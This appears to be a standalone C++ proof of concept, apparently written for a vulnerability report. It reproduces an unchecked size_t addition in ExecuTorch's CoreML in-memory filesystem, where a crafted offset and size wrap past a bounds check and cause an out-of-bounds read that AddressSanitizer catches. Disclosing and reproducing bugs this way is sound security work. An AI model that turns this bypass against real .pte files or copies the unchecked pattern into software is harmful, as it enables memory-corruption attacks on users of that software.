File size: 2,361 Bytes
9c5b2f3
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// Standalone PoC — faithful reproduction of the ExecuTorch CoreML inmemoryfs
// integer-overflow -> bounds-check-bypass -> OOB read.
// Logic taken verbatim from pytorch/executorch @ main:
//   backends/apple/coreml/runtime/inmemoryfs/range.hpp:10-22
//   backends/apple/coreml/runtime/inmemoryfs/memory_buffer.cpp:254-262 (MemoryBuffer::slice)
#include <cstddef>
#include <cstdint>
#include <cstring>
#include <cstdio>

// range.hpp:10-22
struct Range {
    size_t offset, size;
    Range(size_t o, size_t s) noexcept : offset(o), size(s) {}
    inline size_t length() const noexcept { return offset + size; } // range.hpp:21 unchecked add
};

static uint8_t* g_data;   // stands in for MemoryBuffer::data()
static size_t   g_size;   // stands in for MemoryBuffer::size()

// memory_buffer.cpp:254-262  MemoryBuffer::slice(Range range)
static uint8_t* slice(Range range) noexcept {
    if (range.length() > g_size) {   // guard BYPASSED when offset+size overflows size_t
        return nullptr;
    }
    return g_data + range.offset;    // wild pointer from attacker-controlled offset
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);   // unbuffered so prints survive the ASan abort
    g_size = 16;
    g_data = new uint8_t[g_size];
    memset(g_data, 0x41, g_size);

    // Attacker-controlled Range deserialized from a malicious in-memory-FS blob in a .pte.
    // offset lands just past the buffer (in ASan's redzone); size chosen so offset+size
    // wraps size_t to 0, sailing past the 'length() > size()' guard.
    Range r(20, SIZE_MAX - 19);
    printf("[*] buffer size              = %zu\n", g_size);
    printf("[*] attacker offset          = %zu\n", r.offset);
    printf("[*] attacker size            = %zu\n", r.size);
    printf("[*] length()=offset+size     = %zu   (wrapped past SIZE_MAX)\n", r.length());
    printf("[*] guard 'length() > size()': %zu > %zu -> %s\n",
           r.length(), g_size, (r.length() > g_size) ? "REJECT" : "PASS (bypassed!)");

    uint8_t* p = slice(r);
    if (p) {
        printf("[!] slice() returned ptr %ld bytes past a %zu-byte buffer; dereferencing:\n",
               (long)(p - g_data), g_size);
        volatile uint8_t x = p[0];   // OOB read -> AddressSanitizer trap
        printf("[!] OOB read = 0x%02x (should NOT reach here under ASan)\n", x);
    }
    delete[] g_data;
    return 0;
}